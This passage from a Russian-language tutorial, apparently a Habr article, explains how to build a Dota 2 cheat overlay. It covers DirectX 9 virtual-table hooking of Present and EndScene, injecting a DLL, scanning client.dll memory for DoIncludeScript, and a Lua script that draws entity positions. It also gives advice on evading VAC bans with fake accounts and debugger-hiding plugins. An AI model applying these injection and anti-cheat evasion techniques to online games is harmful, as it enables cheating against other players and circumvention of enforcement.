requirement->Register("true", new SchemaImplementator);
requirement->Register("false", new SchemaImplementator);
requirement->Register("roshan\_killed",
new SchemaImplementator);
requirement->Register("roshan\_alive\_manual",
new SchemaImplementator);
requirement->Register("time", new SchemaImplementator);
requirement->Register("roshan\_state",
new SchemaImplementator);
factory->Register(requirement);
auto action = new SilkFactory();
action->Register("action", new SchemaImplementator);
action->Register("set\_current\_time",
new SchemaImplementator);
factory->Register(action);
auto transition = new SilkFactory();
transition->Register("transition", new SchemaImplementator);
factory->Register(transition);
auto transitions = new SilkFactory();
transitions->Register("transitions",
new SchemaImplementator);
factory->Register(transitions);
auto stateSchema = new SilkFactory();
stateSchema->Register("state", new SchemaImplementator);
factory->Register(stateSchema);
auto statesSchema = new SilkFactory();
statesSchema->Register("states", new SchemaImplementator);
factory->Register(statesSchema);
auto roshanStatusSchema = new SilkFactory();
roshanStatusSchema->Register("roshan\_status",
new SchemaImplementator);
factory->Register(roshanStatusSchema);
auto triggerSchema = new SilkFactory();
triggerSchema->Register("trigger", new SchemaImplementator);
factory->Register(triggerSchema);
auto triggersSchema = new SilkFactory();
triggersSchema->Register("triggers", new SchemaImplementator);
factory->Register(triggersSchema);
auto resourceSchema = new SilkFactory();
resourceSchema->Register("resource", new SchemaImplementator);
factory->Register(resourceSchema);
auto resourcesSchema = new SilkFactory();
resourcesSchema->Register("resources",
new SchemaImplementator);
factory->Register(resourcesSchema);
auto gameSchema = new SilkFactory();
gameSchema->Register("game", new SchemaImplementator);
factory->Register(gameSchema);
auto gameModel = new SilkFactory();
gameModel->Register("game", new ConcreteImplementator);
factory->Register(gameModel);
auto resources = new SilkFactory();
resources->Register("resources",
new ConcreteImplementator);
factory->Register(resources);
auto resource = new SilkFactory();
resource->Register("resource", new ConcreteImplementator);
factory->Register(resource);
auto triggers = new SilkFactory();
triggers->Register("triggers", new ConcreteImplementator);
factory->Register(triggers);
auto trigger = new SilkFactory();
trigger->Register("trigger", new ConcreteImplementator);
factory->Register(trigger);
auto roshanStatus = new SilkFactory();
roshanStatus->Register("roshan\_status",
new ConcreteImplementator);
factory->Register(roshanStatus);
auto states = new SilkFactory();
states->Register("states", new ConcreteImplementator);
factory->Register(states);
auto state = new SilkFactory();
state->Register("state", new ConcreteImplementator);
factory->Register(state);
}
```
Заполнение схемы можно производить любым способом — можно использовать json, можно прямо в коде.
**Вариант заполнения схемы для Моделей в json**
```
{
"game": {
"roshan_status": {
"states": [
{
"name": "alive",
"transitions": [
{
"from": "alive",
"to": "ressurect_base",
"requirement": {
"typename": "roshan_killed",
"action": {
"typename": "set_current_time",
"resource": "roshan_killed_ts"
}
}
}
]
},
{
"name": "ressurect_base",
"transitions": [
{
"from": "ressurect_base",
"to": "ressurect_extra",
"requirement": {
"typename": "time",
"resource": "roshan_killed_ts",
"offset": 480
},
"action": {
"typename": "action"
}
}
]
},
{
"name": "ressurect_extra",
"transitions": [
{
"from": "ressurect_extra",
"to": "alive",
"requirement": {
"typename": "time",
"resource": "roshan_killed_ts",
"offset": 660
},
"action": {
"typename": "action"
}
},
{
"from": "ressurect_extra",
"to": "alive",
"requirement": {
"typename": "roshan_alive_manual"
},
"action": {
"typename": "action"
}
}
]
}
]
},
"triggers": {
"roshan_killed": {},
"roshan_alive_manual": {}
},
"resources": {
"roshan_killed_ts": {}
}
}
}
```
**Вариант заполнения схемы для Представление кодом**
```
void GameController::InitViewSchema(ICanvasSchema** schema) {
*schema = factory->Build("canvas\_d9", "canvas\_d9", "canvas\_d9",
viewContext);
IViewCollectionSchema\* elements = factory->Build(
"elements", "elements", "elements", viewContext);
(\*schema)->SetElements(elements);
ILabelSchema\* labelSchema = factory->Build(
"label\_d9", "label\_d9", "roshan\_status\_label", viewContext);
labelSchema->SetRecLeft(new SILK\_INT(30));
labelSchema->SetRecTop(new SILK\_INT(100));
labelSchema->SetRecRight(new SILK\_INT(230));
labelSchema->SetRecDown(new SILK\_INT(250));
labelSchema->SetColorR(new SILK\_FLOAT(1.0f));
labelSchema->SetColorG(new SILK\_FLOAT(1.0f));
labelSchema->SetColorB(new SILK\_FLOAT(1.0f));
labelSchema->SetColorA(new SILK\_FLOAT(1.0f));
labelSchema->SetText(new SILK\_STRING("Roshan status: alive\0"));
elements->PushBack((IViewSchema\*&)labelSchema);
IButtonSchema\* buttonSchema = factory->Build(
"button\_d9", "button\_d9", "roshan\_kill\_button", viewContext);
ILabelSchema\* buttonLabelSchema = factory->Build(
"label\_d9", "label\_d9", "button\_text", viewContext);
buttonLabelSchema->SetRecLeft(new SILK\_INT(30));
buttonLabelSchema->SetRecTop(new SILK\_INT(115));
buttonLabelSchema->SetRecRight(new SILK\_INT(110));
buttonLabelSchema->SetRecDown(new SILK\_INT(130));
buttonLabelSchema->SetColorR(new SILK\_FLOAT(1.0f));
buttonLabelSchema->SetColorG(new SILK\_FLOAT(0.0f));
buttonLabelSchema->SetColorB(new SILK\_FLOAT(0.0f));
buttonLabelSchema->SetColorA(new SILK\_FLOAT(1.0f));
buttonLabelSchema->SetText(new SILK\_STRING("Kill Roshan\0"));
buttonSchema->SetLabel(buttonLabelSchema);
buttonSchema->SetBorderColorR(new SILK\_INT(0));
buttonSchema->SetBorderColorG(new SILK\_INT(0));
buttonSchema->SetBorderColorB(new SILK\_INT(0));
buttonSchema->SetBorderColorA(new SILK\_INT(70));
buttonSchema->SetFillColorR(new SILK\_INT(255));
buttonSchema->SetFillColorG(new SILK\_INT(119));
buttonSchema->SetFillColorB(new SILK\_INT(0));
buttonSchema->SetFillColorA(new SILK\_INT(150));
buttonSchema->SetPushColorR(new SILK\_INT(0));
buttonSchema->SetPushColorG(new SILK\_INT(0));
buttonSchema->SetPushColorB(new SILK\_INT(0));
buttonSchema->SetPushColorA(new SILK\_INT(70));
buttonSchema->SetBorder(new SILK\_FLOAT(5));
elements->PushBack((IViewSchema\*&)buttonSchema);
}
```
### 8.4. События
Представление узнает об изменении Модели посредством событий. Получать обратную связь можно в методы класса и обычные функции.
```
#define VIRTUAL_EVENT(e) public: virtual IEvent* Get##e() = 0;
#define EVENT(e) private: IEvent* e; public: IEvent* Get##e() { return e; }
const int MAX_EVENT_CALLBACKS = 1024;
class IEventArgs {};
class ICallback {
public:
virtual void Invoke(IEventArgs* args) = 0;
};
template
class Callback : public ICallback {
typedef void (\*f)(A\*);
public:
Callback(f \_pFunc) {
ptr = \_pFunc;
}
~Callback() {
delete ptr;
}
void Invoke(IEventArgs\* args) {
ptr((A\*)args);
}
private:
f ptr = nullptr;
};
template
class MemberCallback : public ICallback {
typedef void (T::\*f)(A\*);
public:
MemberCallback(f \_pFunc, T\* \_obj) {
ptr = \_pFunc;
obj = \_obj;
}
~MemberCallback() {
delete ptr;
obj = nullptr;
}
void Invoke(IEventArgs\* args) {
(obj->\*(ptr))((A\*)args);
}
private:
f ptr = nullptr;
T\* obj;
};
class IEvent {
public:
virtual void Invoke(IEventArgs\* args) = 0;
virtual void Add(ICallback\* callback) = 0;
virtual bool Remove(ICallback\* callback) = 0;
virtual ~IEvent() {}
};
```
Если объект хочет сообщать о происходящих внутри него событиях, необходимо добавить для каждого события IEvent\*. Другой объект, которому интересны события, происходящие внутри этого объекта, должен создать ICallback\* и передать его внутрь IEvent\* (подписаться на событие).
**Пример подписок, происходящих в контроллере**
```
void Attach() {
statesChangedCallback = new MemberCallback(
&GameController::OnStatesChanged, this);
Model->GetRoshanStatus()->GetStates()->GetCurrentChanged()->Add(
statesChangedCallback);
buttonClickedCallback = new MemberCallback(
&GameController::OnKillRoshanClicked, this);
killButton->GetClickedEvent()->Add(buttonClickedCallback);
}
```
**Пример объявления события внутри класса — при каждом ударе часов (вызове метода Tick) возбуждается событие StruckEvent**
```
class IChrono {
VIRTUAL_EVENT(Struck)
public:
virtual void Tick() = 0;
virtual long long GetStamp() = 0;
virtual long long GetDiffS(long long ts) = 0;
};
class Chrono : public IChrono {
EVENT(Struck)
public:
Chrono() {
start = time(0);
Struck = new Event();
}
~Chrono() {
delete Struck;
}
void Tick() {
auto cur = clock();
worked += cur - savepoint;
bool isStriking = savepoint < cur;
savepoint = cur;
if (isStriking)
Struck->Invoke(nullptr);
}
long long GetStamp() {
return start * CLOCKS_PER_SEC + worked;
}
long long GetDiffS(long long ts) {
return (GetStamp() - ts) / CLOCKS_PER_SEC;
}
private:
long long worked = 0;
time_t start;
time_t savepoint;
};
```
Основные примитивные типы (SILK\_INT, SILT\_FLOAT, SILK\_STRING, …) реализованы в Core.h.
9. DirectX 9
------------
[DirectX 9](https://docs.microsoft.com/en-us/windows/desktop/direct3d9/direct3d-architecture) является одним из графических API, поддерживаемых Dota 2. Device представляет из себя класс, унаследованный от IUnknown и содержит виртуальные функции. Соответственно, получив указатель на виртуальную таблицу методов, мы можем получить указатели к нужным нам функциям. Не виртуальные функции класса не включаются в таблицу и находятся в сегменте .code, так как они одни единственные, их нельзя переопределить. К слову, в OpenGL и Vulkan перехват функций устройства заметно проще, так как они не виртуальные и получить указатель можно используя GetProcAddress(). Архитектура DirectX 11 сложнее 9, но не сильно.
Чтобы перехватить виртуальный метод класса (как и не виртуальный) нам нужен экземпляр этого класса, любой экземпляр. При помощи экземпляра мы достанем Таблицу виртуальных методов и получим нужные указатели на функции. Самый простой способ найти экземпляр класса — создать его самим.
Для этого нам потребуется создать объект с интерфейсом IDirect3D9 при помощи функции Direct3DCreate9, а само устройство создадим при помощи этого объекта вызовом метода CreateDevice. Мы можем вызвать эти функции напрямую из библиотеки DirectX, но ради закрепления материала вызовем их через указатели. Как видно из d3d9.h, Direct3DCreate9 является обычной функцией и указатель на нее может быть получен через GetProcAddress (точно так же, как мы делали в NativeInjector для получения указателя на LoadLibrary).
[](https://habrastorage.org/webt/nr/fq/ai/nrfqai6vps7fc9lx_crerpvsbhq.png)
*Рисунок 18 — описание CreateDevice в d3d9.h*
Создадим экземпляр IDirect3D9:
```
typedef IDirect3D9* (WINAPI *SILK_Direct3DCreate9)
(UINT SDKVersion);
//IDirect3D9* pD3D = Direct3DCreate9(D3D_SDK_VERSION);
SILK_Direct3DCreate9 Silk_Direct3DCreate9 = (SILK_Direct3DCreate9)GetProcAddress(GetModuleHandle("d3d9.dll"),
"Direct3DCreate9");
IDirect3D9* pD3D = Silk_Direct3DCreate9(D3D_SDK_VERSION);
```
При помощи IDirect3D9 мы можем создать девайс вызовом pD3D->CreateDevice(...). Для получения указателя на нужные функции из VMT, нам нужно узнать порядок определения данных методов.
[](https://habrastorage.org/webt/ro/ap/ug/roapuggoav9xtztltqu8gs6zqiw.png)
*Рисунок 19 — Поиск индекса метода CreateDevice интерфейса IDirect3D9*
Получаем 16-й индекс. Помимо CreateDevice нам также нужны методы Release и GetAdapterDisplayMode.
**Реализуем создание устройства в коде**
```
typedef HRESULT(WINAPI *SILK_GetAdapterDisplayMode)(IDirect3D9* direct3D9,
UINT Adapter, D3DDISPLAYMODE* pMode);
typedef HRESULT(WINAPI *SILK_CreateDevice)(IDirect3D9* direct3D9,
UINT Adapter, D3DDEVTYPE DeviceType, HWND hFocusWindow,
DWORD BehaviorFlags, D3DPRESENT_PARAMETERS* pPresentationParameters,
IDirect3DDevice9** ppReturnedDeviceInterface);
typedef ULONG(WINAPI *SILK_Release)(IDirect3D9* direct3D9);
const int RELEASE_INDEX = 2;
const int GET_ADAPTER_DISPLAY_MODE_INDEX = 8;
const int CREATE_DEVICE_INDEX = 16;
BOOL CreateSearchDevice(IDirect3D9** d3d, IDirect3DDevice9** device) {
if (!d3d || !device)
return FALSE;
*d3d = NULL;
*device = NULL;
//IDirect3D9* pD3D = Direct3DCreate9(D3D_SDK_VERSION);
SILK_Direct3DCreate9 Silk_Direct3DCreate9 = (SILK_Direct3DCreate9)GetProcAddress(GetModuleHandle("d3d9.dll"),
"Direct3DCreate9");
IDirect3D9* pD3D = Silk_Direct3DCreate9(D3D_SDK_VERSION);
if (!pD3D)
return FALSE;
D3DDISPLAYMODE displayMode;
int pointerSize = sizeof(unsigned long long);
unsigned long long vmt = **(unsigned long long **)&pD3D
SILK_GetAdapterDisplayMode pGetAdapderDisplayMode =
(SILK_GetAdapterDisplayMode)((*(unsigned long long *)
(vmt + pointerSize * GET_ADAPTER_DISPLAY_MODE_INDEX)));
pGetAdapderDisplayMode(pD3D, D3DADAPTER_DEFAULT, &displayMode);
//pD3D->GetAdapterDisplayMode(D3DADAPTER_DEFAULT, &displayMode);
HWND hWindow = GetDesktopWindow();
D3DPRESENT_PARAMETERS pp;
ZeroMemory(&pp, sizeof(pp));
pp.Windowed = TRUE;
pp.hDeviceWindow = hWindow;
pp.BackBufferCount = 0;
pp.BackBufferWidth = 0;
pp.BackBufferHeight = 0;
pp.BackBufferFormat = displayMode.Format;
pp.SwapEffect = D3DSWAPEFFECT_DISCARD;
IDirect3DDevice9* pDevice = NULL;
SILK_CreateDevice pCreateDevice = (SILK_CreateDevice)
((*(unsigned long long *)(vmt + pointerSize * CREATE_DEVICE_INDEX)));
if(SUCCEEDED(pCreateDevice(pD3D, D3DADAPTER_DEFAULT,
D3DDEVTYPE_HAL, hWindow, D3DCREATE_SOFTWARE_VERTEXPROCESSING | D3DCREATE_DISABLE_DRIVER_MANAGEMENT, &pp, &pDevice))) {
//if (SUCCEEDED(pD3D->CreateDevice(D3DADAPTER_DEFAULT,
D3DDEVTYPE_HAL, hWindow, D3DCREATE_SOFTWARE_VERTEXPROCESSING | D3DCREATE_DISABLE_DRIVER_MANAGEMENT, &pp, &pDevice))) {
if (pDevice != NULL) {
*d3d = pD3D;
*device = pDevice;
}
}
BOOL result = (*d3d != NULL);
if (result == FALSE)
if (pD3D) {
SILK_Release pRelease=
(SILK_Release)((*(unsigned long long *)(vmt + pointerSize * RELEASE_INDEX)));
pRelease(pD3D);
//pD3D->Release();
}
return result;
}
```
Отлично, мы создали устройство DirectX 9, теперь нужно понять, какие функции используются для отрисовки сцены, что нам нужно перехватывать. Нам нужно ответить на вопрос: «Как DirectX 9 показывает нам сцену?». Для показа сцены используется функция [Present](https://docs.microsoft.com/en-us/windows/desktop/api/d3d9/nf-d3d9-idirect3ddevice9-present). Стоит также ввести такие понятия, как front buffer (буфер, который хранит то, что отображается (продолжительное действие) на экране), back buffer – содержит то, что готово для отображения и готовится стать front buffer, swap chain – собственно набор буферов, которые поочередно сменяются (flipping) с front на back (DirectX 9 имеет только 1 swap chain). Перед тем, как вызвать Present, вызывается пара функций BeginScene и [EndScene](https://docs.microsoft.com/en-us/windows/desktop/api/d3d9/nf-d3d9-idirect3ddevice9-endscene), где можно изменять back buffer.
Давайте перехватим две функции (на самом деле для выполнения бизнес логики нам хватит и одной): EndScene и Present. Для этого посмотрим на расположение этих функций в классе IDirect3DDevice9
[](https://habrastorage.org/webt/xa/ev/tk/xaevtkzg4h4whv7aejsfp025yr0.png)
*Рисунок 20 — Объявление интерфейса IDirect3DDevice9*
Объявим указатели со следующими сигнатурами функций:
```
typedef HRESULT(*VirtualOverloadPresent)(IDirect3DDevice9* pd3dDevice,
CONST RECT* pSourceRect, CONST RECT* pDestRect, HWND hDestWindowOverride,
CONST RGNDATA* pDirtyRegion);
VirtualOverloadPresent oOverload = NULL;
typedef HRESULT(*VirtualOverloadEndScene)(IDirect3DDevice9* pd3dDevice);
VirtualOverloadEndScene oOverloadEndScene = NULL;
const int PRESENT_INDEX = 17;
const int END_SCENE_INDEX = 42;
```
Объявим ловушку сразу с обработчиком ошибок, так как HardwareBreakpoint на самом деле наш единственный реализованный безопасный вариант перехвата, который не отслеживает VAC (потестить можно и с Opcode Hook, но аккаунт скорее всего улетит в бан):
```
silk_way::IDeferredCommands* deferredCommands;
silk_way::IHook* hook;
LONG OnExceptionHandler(EXCEPTION_POINTERS* exceptionPointers) {
if (exceptionPointers->ExceptionRecord->ExceptionCode !=
EXCEPTION_SINGLE_STEP)
return EXCEPTION_EXIT_UNWIND;
for (int i = 0; i < silk_way::DEBUG_REG_COUNT; i++) {
if (exceptionPointers->ContextRecord->Rip ==
(unsigned long long) hook->GetInfo()->GetItem(i)->source) {
exceptionPointers->ContextRecord->Dr7 &= ~(1ULL << (2 * i));
exceptionPointers->ContextRecord->Rip =
(unsigned long long) hook->GetInfo()->GetItem(i)->destination;
silk_way::IDeferredCommand* cmd =
new silk_way::SetD7Command(hook, GetCurrentThreadId(), i);
deferredCommands->Enqueue(cmd);
break;
}
}
return EXCEPTION_CONTINUE_EXECUTION;
}
```
Захукаем обозначенные функции любой из наших двух ловушек:
```
BOOL HookDevice(IDirect3DDevice9* pDevice) {
unsigned long long vmt = **(unsigned long long **)&pDevice
int pointerSize = sizeof(unsigned long long);
VirtualOverloadPresent pointerPresent= (VirtualOverloadPresent)
((*(unsigned long long *)(vmt + pointerSize * PRESENT_INDEX)));
VirtualOverloadEndScene pointerEndScene = (VirtualOverloadEndScene)
((*(unsigned long long *)(vmt + pointerSize * END_SCENE_INDEX)));
oOverload = pointerPresent;
oOverloadEndScene = pointerEndScene;
deferredCommands = new silk_way::DeferredCommands();
//hook = new silk_way::HardwareBPHook();
hook = new silk_way::OpcodeHook();
hook->SetExceptionHandler(OnExceptionHandler);
hook->SetHook(pointerPresent, &PresentHook);
hook->SetHook(pointerEndScene, &EndSceneHook);
return TRUE;
}
```
Функции приемники:
```
HRESULT WINAPI PresentHook(IDirect3DDevice9* pd3dDevice,
CONST RECT* pSourceRect, CONST RECT* pDestRect,
HWND hDestWindowOverride, CONST RGNDATA* pDirtyRegion) {
Capture(pd3dDevice);
auto record = hook->GetRecordBySource(oOverload);
VirtualOverloadPresent pTrampoline = (VirtualOverloadPresent)
record->pTrampoline;
auto result = pTrampoline(pd3dDevice, pSourceRect, pDestRect,
hDestWindowOverride, pDirtyRegion);
deferredCommands->Run();
return result;
}
HRESULT WINAPI EndSceneHook(IDirect3DDevice9* pd3dDevice) {
if (controller == nullptr) {
controller = new GameController();
controller->SetDevice(pd3dDevice);
}
controller->Update();
auto record = hook->GetRecordBySource(oOverloadEndScene);
VirtualOverloadEndScene pTrampoline = (VirtualOverloadEndScene)
record->pTrampoline;
auto result = pTrampoline(pd3dDevice);
deferredCommands->Run();
return result;
}
```
**В Present каждый вызов снимает скриншот из буфера видеокарты (для проверки) при помощи функции Capture**
```
VOID WINAPI Capture(IDirect3DDevice9* pd3dDevice) {
IDirect3DSurface9 *renderTarget = NULL;
IDirect3DSurface9 *destTarget = NULL;
HRESULT res1 = pd3dDevice->GetRenderTarget(0, &renderTarget);
D3DSURFACE_DESC descr;
HRESULT res2 = renderTarget->GetDesc(&descr);
HRESULT res3 = pd3dDevice->CreateOffscreenPlainSurface(
descr.Width, descr.Height, /*D3DFMT_A8R8G8B8*/descr.Format,
D3DPOOL_SYSTEMMEM, &destTarget, NULL);
HRESULT res4 = pd3dDevice->GetRenderTargetData(renderTarget, destTarget);
D3DLOCKED_RECT lockedRect;
ZeroMemory(&lockedRect, sizeof(lockedRect));
if (destTarget == NULL)
return;
HRESULT res5 = destTarget->LockRect(&lockedRect, NULL,
D3DLOCK_READONLY);
HRESULT res7 = destTarget->UnlockRect();
HRESULT res6 = D3DXSaveSurfaceToFile(screenshootPath, D3DXIFF_BMP,
destTarget, NULL, NULL);
renderTarget->Release();
destTarget->Release();
}
```
В EndScene создается контроллер бизнес логики. После создания вызывается обновление контроллера, где обновляется вся логика.
Замечу, что сейчас мы реализовали работу с DirectX 9. Если мы хотим делать какой нибудь мод, чит и тд — необходимо поддерживать все четыре API. Это оправдано, если на вооружении уже есть любимые библиотеки, заготовки для UI, в ином случае можно использовать другой способ — функционал, который использует движок для отрисовки игры.
Также стоит сказать, что вызов обновления логики из EndScene() не лучший вариант — можно найти периодические вызовы функций движка или вызывать логику в своем потоке. Если все же вызов из EndScene устраивает, лучше делать это при помощи lockstep.
Теперь мы реализовали все, что планировали.
**Рекомендации по тестированию**Тестировать это дело лучше всего на [DirectX SDK](https://www.microsoft.com/en-us/download/details.aspx?id=6812), там куча примеров работы, от DirectX 9 до DirectX 11. Если в качестве закрепления материала вы захотите реализовать перехват для DirectX 11, советую просто выбрать какой-нибудь пример с исходным кодом из SDK, разобраться как он работает (это даст понимание, какие функции отвечают за отрисовку и что нужно перехватывать) Если вы новичок, сделать это будет не просто, так как примеры используют DXUT, но все же это реальное окружение, боевые условия и вывод статистики — будет сразу видно, насколько просаживается FPS при использовании ловушки.
[](https://habrastorage.org/webt/o-/hq/zg/o-hqzgthdamhzrum5h8upaenqly.png)
*Рисунок 21 — Внедрения в пример из DirectX SDK под названием StateManager.exe*
Теперь можно создать фейковый аккаунт в стиме и заинжектить injected.dll в процесс Dota 2. **Скажу сразу, я не знаю, как на текущий момент обстоит дело с «железными» точками останова — за использование Opcode Hook (так, как делаем это мы в текущем виде) вы точно получите бан. Я занимался этим около полугода назад — бана за Hardware Breakpoint не было, какова ситуация на текущий момент сказать не могу. Перед подготовкой статьи я взял два аккаунта и попробовал Opcode Hook и HWBP на них, первый улетел в бан (прошло около 2-х недель), второй нет (прошло 3 недели). Но все равно нет никаких гарантий, что бана не будет в будущем. Потом не обижайтесь, если случайно произведете внедрение со своего основного аккаунта или забудете перелогиниться на фейковый — тут уже следите за собой сами и будьте внимательны.**
**Результат внедрения в процесс (без внедрения)**
*Рисунок 22 — Без внедрения*
**Внедрение нашей логики в меню игры**
*Рисунок 23 — Внедрение в меню игры*
Внедрение в режиме 1x1.
[](https://habrastorage.org/webt/r2/6v/ix/r26vixlwxtaspaykchnffmpwexm.png)
*Рисунок 24 — Внедрение в матч*
Стоит также сказать, что существует другой способ отрисовки — поверхностная отрисовка путем создания второго окна с соответствующим размером. К сожалению, у меня не получилось реализовать возможность использования поверхностного подхода для случая полноэкранного режима, описанный же в статье подход позволяет внедрять отрисовку как в полноэкранный режим, так и в оконный без каких-либо проблем.
Наше внедренное UI содержит только текстовый лейб и кнопку, реализованные на чистом DirectX 9 — это все, что требуется для решения поставленной задачи. Вы же можете реализовать как на чистом API, так и с использованием готовых библиотек сложные таблицы, красивые меню и диаграммы — в общем, UI любой сложности. Разумеется, не только 2D.
10. Использование функций движка
--------------------------------
Реализовывать один и тот же функционал для каждого API довольно муторно, разработчики делают удобные обертки, предоставляя функции для рисования, UI и прочее, что использует непосредственно игра. Также Valve предоставляет для Dota 2 API на [Javascript](https://developer.valvesoftware.com/wiki/Dota_2_Workshop_Tools/Panorama/Javascript/API) и [Lua](https://developer.valvesoftware.com/wiki/Dota_2_Workshop_Tools/Scripting/API). Делается это для того, чтобы облегчить жизнь модерам и гейм дизайнерам, для которых C++ сложен (даже не сам C++, а правильное использование в контексте движка). Тут есть и функции по отрисовке, и по логике игры — можно прописывать поведение юнита, например, подбор предметов, использование скилов и прочее. Собственно, при помощи этого и пишутся кастомки.
Нас будет интересовать функция DoIncludeScript, которая позволяет запускать свои скрипты на Lua и использовать там Scripting API. Я не использовал ее в своем проекте, так как не видел в ней ценности, пользуясь функциями напрямую из C++, идею ее использования я увидел у [or\_75](https://www.unknowncheats.me/forum/other-mmorpg-and-strategy/282053-dota-2-doincludescript-entitylist-sdk.html) и решил включить в статью. Это познакомит вас с тем, что будет во второй части и сэкономит в ней место, не придется объяснять определенные моменты работы отладчика.
Приступим. Задача стоит следующая: необходимо найти указатель на функцию DoIncludeScript, которая принимает название скрипта и хендлер, изучить ее. Искать функцию мы будем при помощи сканера из нашей библиотеки silk\_way.lib. Функции, как мы уже выяснили, кодируются в памяти при помощи таблицы опкодов — давайте изучим эту функцию и попробуем выявить ее шаблон хранения в памяти. Сейчас сканер не обладает нужным функционалом, нам нужна возможность поиска шаблона в памяти процесса.
Для ускорения поиска мы будем искать паттерн не по всей памяти процесса, а в конкретном модуле (наша функция лежит в client.dll, это будет видно в отладчике и рассмотрено ниже). Модуль будем искать при помощи tlHelp32 по названию путем перебора всех модулей процесса, для чего создадим функцию нахождения модуля в текущим процессе GetModuleInfo.
**Код функции GetModuleInfo**
```
int IScanner::GetModuleInfo(const char* name,
MODULEENTRY32* entry) {
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE32 | TH32CS_SNAPMODULE, GetCurrentProcessId());
if (snapshot == INVALID_HANDLE_VALUE)
return 1;
entry->dwSize = sizeof(MODULEENTRY32);
if (!Module32First(snapshot, entry)) {
CloseHandle(snapshot);
return 1;
}
do {
if (!_stricmp(entry->szModule, name))
break;
} while (Module32Next(snapshot, entry));
CloseHandle(snapshot);
return 0;
}
```
Паттерн представляет из себя строку со значением байт, пропуск байта обозначается символом «??» — например “j9 ?? ?? ?? ?? 48 03 08 ?? f1 ff”.
Парсим строку, для удобства переведем паттерн из строкового представления в список unsigned char значений, установим флаги пропускаемых байт.
```
unsigned char* IScanner::Parse(int& len,
const char* strPattern, unsigned char* skipByteMask) {
int strPatternLen = strlen(strPattern);
unsigned char* pattern = new unsigned char[strPatternLen];
for (int i = 0; i < strPatternLen; i++)
pattern[i] = 0;
len = 0;
for (int i = 0; i < strPatternLen; i += 2) {
unsigned char code = 0;
if (strPattern[i] == SKIP_SYMBOL)
skipByteMask[len] = 1;
else
code = Parse(strPattern[i]) * 16 + Parse(strPattern[i + 1]);
i++;
pattern[len++] = code;
}
return pattern;
}
unsigned char IScanner::Parse(char byte) { // some magic values
if (byte >= '0' && byte <= '9')
return byte - '0';
else if (byte >= 'a' && byte <= 'f')
return byte - 'a' + 10;
else if (byte >= 'A' && byte <= 'F')
return byte - 'A' + 10;
return 0;
}
```
Ядро поиска реализовано в функции FindPattern, где по полученной информации о модуле устанавливается начальный и конечный адрес поиска. Информация о памяти, по которой будет произведен поиск, запрашивается функцией VirtualQuery, к памяти есть ряд требований — она должна быть занята (будет ошибкой искать в свободной памяти), память должна быть читаемая, выполняемая и не содержать флага PageGuard:
```
void* pStart = moduleEntry.modBaseAddr;
void* pFinish = moduleEntry.modBaseAddr +
moduleEntry.modBaseSize;
unsigned char* current = (unsigned char*)pStart;
for (; current < pFinish && j < patternLen; current++) {
if (!VirtualQuery((LPCVOID)current, &info, sizeof(info)))
continue;
unsigned long long protectMask =
PAGE_READONLY |
PAGE_READWRITE | PAGE_EXECUTE_READWRITE |
PAGE_EXECUTE | PAGE_EXECUTE_READ;
if (info.State == MEM_COMMIT && info.Protect & protectMask &&
!(info.Protect & PAGE_GUARD)) {
unsigned long long finish = (unsigned long long)pFinish <
(unsigned long long)info.BaseAddress + info.RegionSize ?
(unsigned long long)pFinish :
(unsigned long long) info.BaseAddress + info.RegionSize;
current = (unsigned char*)info.BaseAddress;
unsigned char* rip = 0;
for (unsigned long long k = (unsigned long long)info.BaseAddress;
k < finish && j < patternLen; k++, current++) {
if (skipByteMask[j] || pattern[j] == *current) {
if (j == 0)
rip = current;
j++;
}
else {
j = 0;
if (pattern[0] == *current) {
rip = current;
j = 1;
}
}
}
if (j == patternLen) {
current = rip;
break;
}
}
else
current += sysInfo.dwPageSize;
}
```
Теперь мы умеем искать нужный шаблон в памяти процесса, но пока не знаем, что нужно искать. Запустим Steam под ФЕЙКОВЫМ аккаунтом и откроем любимый отладчик (условимся, что на время прочтения статьи x64dbg является таковым и для вас — платной лицензией на IDA Pro я не обладаю), запустим в нем dota2.exe из каталога ...\Steam\steamapps\common\dota 2 beta\game\bin\win64. В принципе не замечал, чтобы VAC был неравнодушен к Cheat Engine и x64dbg, не помню, чтобы при использовании данных инструментов аккаунт банился. К слову, отладчик имеет плагин [ScyllaHide](https://github.com/x64dbg/ScyllaHide), который перехватывает системные функции по типу NtCreateThreadEx, NtSetInformationThread и т. д., скрывая факт своей работы, можете поставить этот плагин.
При каждом останове (их будет 10-15) продолжаем выполнения при помощи Run (F9). Когда игра запустится, мы увидим меню и можем приступить к исследованию. После запуска игры выполним поиск по строкам (Search for->All Modules->String References), установим фильтр “DoIncludeScript”.
[](https://habrastorage.org/webt/nl/t2/x7/nlt2x7qovaunasqqpd6hqojgclw.png)
*Рисунок 25 — Поиск по строкам в памяти процесса игры*
Перейдем в дизассемблер (вкладка CPU) двойным нажатием на первый результат. Это и будет наш отправной адрес, так как он находится в client.dll, остальные результаты ведут в server.dll и animationsystem.dll.
Построим граф вызовов с полученного адреса.
[](https://habrastorage.org/webt/om/os/zo/omoszo_tqtleqsulp5c97sp7iwo.png)
*Рисунок 26 — Граф вызовов*
После декомпиляции находим точку входа, где используется DoIncludeScript — четвертая нода графа. Собственно, сама функция.
[](https://habrastorage.org/webt/ja/pp/zo/jappzokowbi-si2zm8zchka3pjk.png)
*Рисунок 27 — функция DoIncludeScript*
Граф.
[](https://habrastorage.org/webt/ji/q0/w9/jiq0w96b8mmvbuh7un7iyiffq_8.png)
*Рисунок 28 — Граф вызовов из DoIncludeScript*
Декомпиляция использования функции показывает следующий код и место его вызова (декомпилирование производим из графа, не из дизассемблера).
[](https://habrastorage.org/webt/pb/rl/8h/pbrl8hdsnnowxoyfq-lz1xbq3xg.png)
*Рисунок 29 — Декомпиляция вызова функции DoIncludeScript*
Составим шаблон из инструкций на Рисунке 27 вызова функции DoIncludeScript. Аргументы могут меняться, соответственно аргументы в шаблоне мы хотим пропускать при поиске, обозначим их «??». У меня получилось следующее: 40 57 48 81 EC ?? ?? ?? ?? 48 83 3D ?? ?? ?? ?? ?? 48 8B F9 0F 84. Для составления шаблона использовался первый узел графа из Рисунка 28, инструкции которого можно посмотреть на Рисунке 27.
Создадим скрипт на Lua silk\_way.lua, положим его в «...\Steam\steamapps\common\dota 2 beta\game\dota\scripts\vscripts».
```
print("SILK_WAY START")
local first = Entities:First()
while (first ~= nil) do
local position = first:GetAbsOrigin()
local strInfo = "[" .. "pos:" .. tostring(position.x) .. "," .. tostring(position.y) .. "," .. tostring(position.z) .. "]"
DebugDrawText(position, strInfo, true, 300.0)
first = Entities:Next(first)
end
print("SILK_WAY FINISH")
